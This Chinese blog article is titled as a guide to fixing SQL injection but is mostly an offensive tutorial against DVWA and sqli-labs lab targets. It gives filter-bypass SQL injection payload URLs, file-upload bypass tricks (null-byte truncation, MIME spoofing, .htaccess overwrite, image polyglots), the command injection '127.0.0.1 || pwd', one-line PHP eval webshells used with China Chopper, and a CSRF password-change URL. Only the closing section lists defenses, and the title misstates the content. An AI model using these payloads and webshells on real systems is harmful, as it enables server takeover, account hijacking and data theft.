溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

如何解決SQL注入的安全問(wèn)題

發(fā)布時(shí)間:2021-07-29 14:05:03 來(lái)源:億速云 閱讀:462 作者:小新 欄目:MySQL數(shù)據(jù)庫(kù)

這篇文章主要為大家展示了“如何解決SQL注入的安全問(wèn)題”,內(nèi)容簡(jiǎn)而易懂,條理清晰,希望能夠幫助大家解決疑惑,下面讓小編帶領(lǐng)大家一起研究并學(xué)習(xí)一下“如何解決SQL注入的安全問(wèn)題”這篇文章吧。

黑名單過(guò)濾技術(shù)

1、過(guò)濾sql關(guān)鍵字段
常見(jiàn)的關(guān)鍵字:and、or、union all select、引號(hào)、空格等等過(guò)濾
還有一些類(lèi)似的技術(shù)不是過(guò)濾而是通過(guò)轉(zhuǎn)義函數(shù)或者剝離非法關(guān)鍵字

繞過(guò)方法:

  1. 1、大小寫(xiě)變形(id=-1 UniOn sEleCt 1,2,3……)

  2. 2、編碼:hex碼、urlencode

  3. 3、注釋 ‘/or/'

  4. 4、過(guò)濾替換 (and–&&、or–||)

  5. 5、截?cái)?/p>

二、文件上傳漏洞

我們?cè)谏暇W(wǎng)時(shí)經(jīng)常會(huì)使用文件上傳的功能,比如上傳一個(gè)頭像圖片,上傳一個(gè)文件,上傳一個(gè)視頻等等,我都知道這是一個(gè)正常的功能,但是大家有沒(méi)有想過(guò)文件上傳后,服務(wù)器是怎么處理或者解析這些文件的呢,如果服務(wù)器在處理這些上傳文件的時(shí)候做的不夠安全,就會(huì)導(dǎo)致安全事件的發(fā)生,比如: 上傳web腳本文件讓服務(wù)器執(zhí)行

  1. (1)上傳木馬病毒文件誘導(dǎo)用戶或者管理員下載

  2. (2)上傳釣魚(yú)文件

  3. (3)上傳欺詐文件

文件上傳漏洞核心

要使得文件上傳攻擊能夠成功,一般需要滿足兩個(gè)要素:

  1. (1)包含webshell文件能夠成功被上傳到服務(wù)器上

  2. (2) 該文件能夠被服務(wù)器解析或者我們能訪問(wèn)到該上傳文件

實(shí)現(xiàn)核心—上傳繞過(guò)技術(shù)

一般而言文件上傳遇到的檢測(cè)技術(shù): +

  1. (1)客戶端 javascript 檢測(cè) (通常為檢測(cè)文件擴(kuò)展名)

  2. (2)服務(wù)端 MIME 類(lèi)型檢測(cè) (檢測(cè) Content-Type 內(nèi)容)

  3. (3)服務(wù)端目錄路徑檢測(cè) (檢測(cè)跟 path 參數(shù)相關(guān)的內(nèi)容)

  4. (4)服務(wù)端文件擴(kuò)展名檢測(cè) (檢測(cè)跟文件 extension 相關(guān)的內(nèi)容)

  5. (5)服務(wù)端文件內(nèi)容檢測(cè) (檢測(cè)內(nèi)容是否合法或含有惡意代碼)

如何解決SQL注入的安全問(wèn)題

客戶端檢測(cè)繞過(guò)(javascript 檢測(cè))

這類(lèi)檢測(cè)通常在上傳頁(yè)面里含有專門(mén)檢測(cè)文件上傳的 javascript 代碼最常見(jiàn)的就是檢測(cè)擴(kuò)展名是否合法,這類(lèi)繞過(guò)很簡(jiǎn)單。
做法:制作webshell文件(比如shell.php)—>修改為合法擴(kuò)展名(shell.png)—>burp攔截改為(shell.php) —>上傳

服務(wù)端檢測(cè)繞過(guò)(MIME 類(lèi)型檢測(cè))

該檢測(cè)是在服務(wù)器上進(jìn)行,主要檢查的是content-type類(lèi)型值(白名單或者黑名單)。當(dāng)然這個(gè)繞過(guò)也簡(jiǎn)單。
做法:制作webshell文件(比如shell.php,Content-Type: text/plain)—>burp攔截改為(sontent-Type: image/gif) —>上傳

服務(wù)器檢測(cè)繞過(guò)(目錄路徑檢測(cè))

該檢測(cè)是在服務(wù)器上進(jìn)行,一般就檢測(cè)路徑是否合法,但稍微特殊一點(diǎn)的都沒(méi)有防御。 比如,shell.php.[\0].png [\0]、123.php0x00.png其中0x00是php、c語(yǔ)言的截?cái)喾褪钦f(shuō)服務(wù)器在讀文件的時(shí)候讀到shell.php碰到【\0】就截止了當(dāng)做shell.php執(zhí)行了。 類(lèi)似還有post提交文件shell.php%00.png
注:繞過(guò)后臺(tái)檢測(cè),就是給他想要的文件后綴名,然后截?cái)嗾鎸?shí)的后綴

服務(wù)端檢測(cè)繞過(guò)(文件擴(kuò)展名檢測(cè))

顧名思義就是檢查文件擴(kuò)展名,一般通過(guò)白黑名單防御。

1、黑名單 比如擴(kuò)展名不能包含 html、php、php3,php4,asp、exe、bat、jsp +文件名大小寫(xiě)繞過(guò)用像 AsP,pHp 之類(lèi)的文件名繞過(guò)黑名單檢測(cè)

  1. (1)名單列表繞過(guò)用黑名單里沒(méi)有的名單進(jìn)行攻擊,比如黑名單里沒(méi)有 asa 或 cer 之類(lèi)

  2. (2)特殊文件名繞過(guò) 比如發(fā)送的 http 包里把文件名改成 test.asp. 或 test.asp_(下劃線為空格),這種命名方式在 windows 系統(tǒng)里是不被允許的,所以需要在 burp 之類(lèi)里進(jìn)行修改,然后繞過(guò)驗(yàn)證后,會(huì)被 windows 系統(tǒng)自動(dòng)去掉后面的點(diǎn)和空格,但要注意 Unix/Linux 系統(tǒng)沒(méi)有這個(gè)特性。

  3. (3)htaccess 文件攻擊 配合名單列表繞過(guò),上傳一個(gè)自定義的.htaccess,就可以輕松繞過(guò)各種檢測(cè)

  4. (4)解析調(diào)用/漏洞繞過(guò)這類(lèi)漏洞直接配合上傳一個(gè)代碼注入過(guò)的非黑名單文件即可,再利用解析調(diào)用/漏洞

  5. (5)白名單檢測(cè)

2、白名單相對(duì)來(lái)說(shuō)比黑名單安全一些,但也不見(jiàn)得就絕對(duì)安全了

(1)0x00 截?cái)嗬@過(guò)

用像 test.asp%00.jpg 的方式進(jìn)行截?cái)?,屬于白名單文件,再利用服?wù)端代碼的檢測(cè)邏輯漏洞進(jìn)行攻擊,目前我只遇到過(guò) asp 的程序有這種漏洞 + 解析調(diào)用/漏洞繞過(guò)這類(lèi)漏洞直接配合上傳一個(gè)代碼注入過(guò)的白名單文件即可,再利用解析調(diào)用/漏洞

(2).htaccess 文件攻擊

在 PHP manual 中提到了下面一段話 move_uploaded_file section, there is a warning which states ‘If the destination file already exists, it will be overwritten.' 如果 PHP 安全沒(méi)配置好就可以通過(guò) move_uploaded_file 函數(shù)把自己寫(xiě)的.htaccess 文件覆蓋掉服務(wù)器上的這樣就能任意定義解析名單了

服務(wù)端檢測(cè)繞過(guò)(文件內(nèi)容檢測(cè))

如果文件內(nèi)容檢測(cè)設(shè)置得比較嚴(yán)格,那么上傳攻擊將變得非常困難也可以說(shuō)它是在代碼層檢測(cè)的最后一道關(guān)卡如果它被突破了,就算沒(méi)有代碼層的漏洞也給后面利用應(yīng)用層的解析漏洞帶來(lái)了機(jī)會(huì)。

(1)文件幻數(shù)頭檢查
主要是檢測(cè)文件內(nèi)容開(kāi)始處的文件幻數(shù),比如:要繞過(guò) jpg Value = FF D8 FF E0 00 10 4A 46 49 46。 要繞過(guò) gif 文件幻數(shù)檢測(cè) Value = 47 49 46 38 39 61 要繞過(guò) png 文件幻數(shù)檢測(cè) Value = 89 50 4E 47

(2)文件相關(guān)信息檢測(cè)

圖像文件相關(guān)信息檢測(cè)常用的就是 getimagesize()函數(shù)只需要把文件頭部分偽造好就 ok 了,就是在幻數(shù)的基礎(chǔ)上還加了一些文件信息有點(diǎn)像下面的結(jié)構(gòu)

GIF89a

(...some binary data for image...)
 <?php phpinfo(); ?>
(... skipping the rest of binary data ...)

(3)文件加載檢測(cè)

這個(gè)是最變態(tài)的檢測(cè)了,一般是調(diào)用 API 或函數(shù)去進(jìn)行文件加載測(cè)試常見(jiàn)的是圖像渲染測(cè)試,再變態(tài)點(diǎn)的甚至是進(jìn)行二次渲染,對(duì)渲染/加載測(cè)試的攻擊方式是代碼注入繞過(guò)對(duì)二次渲染的攻擊方式是攻擊文件加載器自身。

三、

1、(1)先將對(duì)應(yīng)網(wǎng)址復(fù)制到下方,點(diǎn)擊Load URL,然后點(diǎn)擊Execute

如何解決SQL注入的安全問(wèn)題

(2)構(gòu)造閉合,得到數(shù)據(jù)庫(kù)名–dvwa,然后按照之前的套路發(fā)現(xiàn)系統(tǒng)報(bào)錯(cuò),報(bào)錯(cuò)信息如下


如何解決SQL注入的安全問(wèn)題

系統(tǒng)自動(dòng)加入了\符號(hào),是構(gòu)造的函數(shù)出現(xiàn)錯(cuò)誤,這時(shí)我們應(yīng)規(guī)避這種現(xiàn)象,使系統(tǒng)不為構(gòu)造函數(shù)自動(dòng)添加特殊符號(hào),對(duì)上述這種情況,可以使用hex碼將字符串dvwa轉(zhuǎn)換為十六進(jìn)制(變?yōu)?x……),這樣將不會(huì)在構(gòu)造函數(shù)中使用到單引號(hào)符號(hào),此時(shí)系統(tǒng)將不再自動(dòng)為構(gòu)造函數(shù)添加特殊字符,破壞構(gòu)造函數(shù)。

(3)同理,按照之前所使用的SQL語(yǔ)句,爆數(shù)據(jù)。

2、以Less-25為例

(1)

http://192.168.122.130/sqli-labs-master/Less-25/?id=-1' union all select 1,2,database()--+	//根據(jù)回顯構(gòu)造閉合,爆出database()

(2)

http://192.168.122.130/sqli-labs-master/Less-25/?id=-1' union all select 1,table_name,column_name from infoorrmation_schema.columns where table_name = table_name aAndnd table_schema = database()--+	//爆出表名table_name、列名column_name

(3)

http://192.168.122.130/sqli-labs-master/Less-25/?id=-1' union all select 3,2,id from emails--+	//爆出數(shù)據(jù)

小結(jié):首先不斷構(gòu)造閉合輸入,觀察回顯,發(fā)現(xiàn)系統(tǒng)過(guò)濾了“and”字符串,以及“+”(+ 相當(dāng)于空格鍵)

如何解決SQL注入的安全問(wèn)題

然后我們猜測(cè)使用大小寫(xiě)混合的and,或者交叉不連續(xù)出現(xiàn)and,或者使用其他字符代替and–如&&(主要目的是為了使用and),又或者使用hex碼、urlencode轉(zhuǎn)化的方法;同理,字符串“or”,或者在單詞中出現(xiàn)的or(如information)也可以使用上述的方法。關(guān)鍵在于繞過(guò)系統(tǒng)的過(guò)濾,達(dá)到一定的目的

3、以Less-26為例

and字符與Less-25相同的道理,過(guò)濾掉的空格可以使用 %20 --空格、或者TAB鍵的編碼、或者換行鍵的編碼

如何解決SQL注入的安全問(wèn)題

4、以http://192.168.122.130/DVWA-1.9/vulnerabilities/exec/為例,界面如下,是一個(gè)可以ping的界面

如何解決SQL注入的安全問(wèn)題

該界面存在漏洞即可以使用連接符號(hào)在ping的同時(shí)完成其他動(dòng)作,當(dāng)在輸入欄輸入127.0.0.1 || pwd,出現(xiàn)情況如下

如何解決SQL注入的安全問(wèn)題

發(fā)現(xiàn)界面中出現(xiàn)了當(dāng)前文件目錄,然后我們可以利用此漏洞獲取一些想得到的數(shù)據(jù)
在此提及“一句話木馬”

echo '<?php @eval($_POST[123]);?>' > 123.php

[有時(shí)為了不讓受害人發(fā)現(xiàn),常把其他形式的語(yǔ)句與“一句話木馬”連用

 <?php fputs(fopen("345.php","w")),<?php @eval($_POST[1234]);?>' >1234.php

四、結(jié)合File Inclusion與File Upload實(shí)現(xiàn)攻擊

(1)在http://192.168.122.130/DVWA-1.9/security.php下選擇DVWA security為L(zhǎng)ow
然后File Upload上傳一個(gè)帶有一句話木馬的.php文件,然后通過(guò)已知的目錄,將信息添加到中國(guó)菜刀,獲取所有目錄—此時(shí)可以實(shí)現(xiàn)對(duì)文件的篡改、刪除、上傳等操作(有時(shí)可以通過(guò)重命名文件名來(lái)達(dá)到繞過(guò)的目的:123.png0x00.php —此處0x00代表命名結(jié)束)

如何解決SQL注入的安全問(wèn)題

使用中國(guó)菜刀,進(jìn)行下圖所示的添加—針對(duì) echo ‘<?php @eval($_POST[123]);?>' > 123.php

如何解決SQL注入的安全問(wèn)題

然后就可以通過(guò)中國(guó)菜刀獲取目錄如下:

如何解決SQL注入的安全問(wèn)題

(2)在http://192.168.122.130/DVWA-1.9/security.php下選擇DVWA security為Medium
此時(shí)上傳.php文件會(huì)回顯錯(cuò)誤,無(wú)法上傳,所以我們將木馬文件格式改為支持上傳的格式,png格式的文件中有一句話木馬—此處以png格式為例

如何解決SQL注入的安全問(wèn)題

手動(dòng)設(shè)置瀏覽器代理


如何解決SQL注入的安全問(wèn)題

啟動(dòng)BurpLoader,進(jìn)行抓包改名處理!


如何解決SQL注入的安全問(wèn)題

然后Action->Send to Repeater,然后在Repeater中點(diǎn)擊Go,觀察右邊窗口,發(fā)現(xiàn)文件已經(jīng)上傳,打開(kāi)中國(guó)菜刀,按照之前的步驟訪問(wèn)即可。

如何解決SQL注入的安全問(wèn)題

(3)在http://192.168.122.130/DVWA-1.9/security.php下選擇DVWA security為High

如何解決SQL注入的安全問(wèn)題

首先看到圖片已經(jīng)上傳,那么上傳的圖片一定是已經(jīng)經(jīng)過(guò)處理的(加入了一句話木馬),就是打開(kāi)圖片編碼工具winhex,在編碼工具中加入一句話木馬,重新生成一個(gè)新的編碼后的圖片。

如何解決SQL注入的安全問(wèn)題

當(dāng)然也可以使用cmd命令:copy 1.png/b+123.php /a TCP.png。此處1.png為正常圖片,123.php為一句話木馬,將他們重新合成新的圖片取名為T(mén)CP.png,然后上傳,即可成功(上面使用的是cmd)。

如何解決SQL注入的安全問(wèn)題

圖片上傳完成后,不能像Medium等級(jí)那樣進(jìn)行抓包改名處理。應(yīng)該是web服務(wù)器端還有相應(yīng)的安全性處理。
此時(shí)需要我們手動(dòng)觸發(fā)(當(dāng)然也可以等待被攻擊系統(tǒng)管理員點(diǎn)擊圖片觸發(fā))。觸發(fā)之后我們就可以使用同樣的方式,打開(kāi)中國(guó)菜刀,進(jìn)行目錄的獲取。

五、對(duì)于一些變態(tài)等級(jí)的處理思路:

compare,觀察上傳前與上傳后哪些地方?jīng)]有變(通過(guò)二異性),然后對(duì)上傳數(shù)據(jù)做出一定的修改,從而達(dá)到一定目的。
一些其他的攻擊方法:

  1. 1、以http://192.168.122.130/DVWA-1.9/vulnerabilities/upload/為例,在圖片中寫(xiě)入觸發(fā)指令,當(dāng)管理員敲某命令時(shí)執(zhí)行該圖片,執(zhí)行圖片中包含的代碼,即預(yù)埋一個(gè)常用的觸發(fā)指令!

  2. 2、找到要攻擊的系統(tǒng)默認(rèn)存儲(chǔ)臨時(shí)文件的具體位置,然后改變文件的內(nèi)容(比如說(shuō)在文件中加入包含一句話木馬的可執(zhí)行文件等),達(dá)到預(yù)期的效果

  3. 3、對(duì)于會(huì)為上傳文件自動(dòng)修改文件名的系統(tǒng),會(huì)使我們無(wú)法執(zhí)行我們上傳的非可執(zhí)行文件,此時(shí)我們可以這樣:因?yàn)樵O(shè)備處理文件是有一定限度的,可以每秒鐘高頻傳輸同一文件,使其后臺(tái)來(lái)不及修改其中一兩個(gè)文件的文件名,使之出現(xiàn)文件名不會(huì)被修改的情況,然后我們?nèi)绻梢栽L問(wèn)到該文件,執(zhí)行即可進(jìn)行攻擊!

六、CSRF:Cross site Request Forgery跨棧請(qǐng)求偽造(利用cookie值)

構(gòu)造一個(gè)URL,誘導(dǎo)受害人點(diǎn)擊鏈接,從而利用受害人的cookie來(lái)實(shí)現(xiàn)受害人在自己不知道的情況下修改密碼

http://192.168.122.130/DVWA-1.9/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#

舉例:比如說(shuō)黑客使用自己的賬號(hào)密碼登錄某網(wǎng)站,然后點(diǎn)到修改密碼界面,構(gòu)造一個(gè)修改密碼的URL,當(dāng)黑客想進(jìn)行攻擊時(shí)就誘導(dǎo)某受害人(該受害人之前使用瀏覽器登錄網(wǎng)站時(shí),瀏覽器中存有cookie)點(diǎn)擊之前構(gòu)造好的URL,然后在受害人不知道的情況下修改密碼,此密碼黑客知道,此時(shí)若攻擊成功,黑客就能使用之前構(gòu)造URL時(shí)構(gòu)造的密碼以受害人的身份登錄網(wǎng)站,進(jìn)行一系列操作!

當(dāng)下的一些防御手段:

1、可以使用驗(yàn)證碼進(jìn)行防御

2、需要原始密碼才能修改密碼的網(wǎng)站

3、防御手法:no-referrer-when-downgrade

從一個(gè)網(wǎng)站鏈接到另外一個(gè)網(wǎng)站會(huì)產(chǎn)生新的http請(qǐng)求,referrer是http請(qǐng)求中表示來(lái)源的字段。
no-referrer-when-downgrade表示從https協(xié)議降為http協(xié)議時(shí)不發(fā)送referrer給跳轉(zhuǎn)網(wǎng)站的服務(wù)器

如何解決SQL注入的安全問(wèn)題

4、防偽機(jī)制token,不同于cookie,可以堵住絕大多數(shù)CSRF攻擊(人手一個(gè)防偽碼,別人猜不出來(lái),如果自己要改密碼,必須自己使用自己的token才能成功)—token需要無(wú)規(guī)律、最好是加密。

以上是“如何解決SQL注入的安全問(wèn)題”這篇文章的所有內(nèi)容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內(nèi)容對(duì)大家有所幫助,如果還想學(xué)習(xí)更多知識(shí),歡迎關(guān)注億速云行業(yè)資訊頻道!

向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI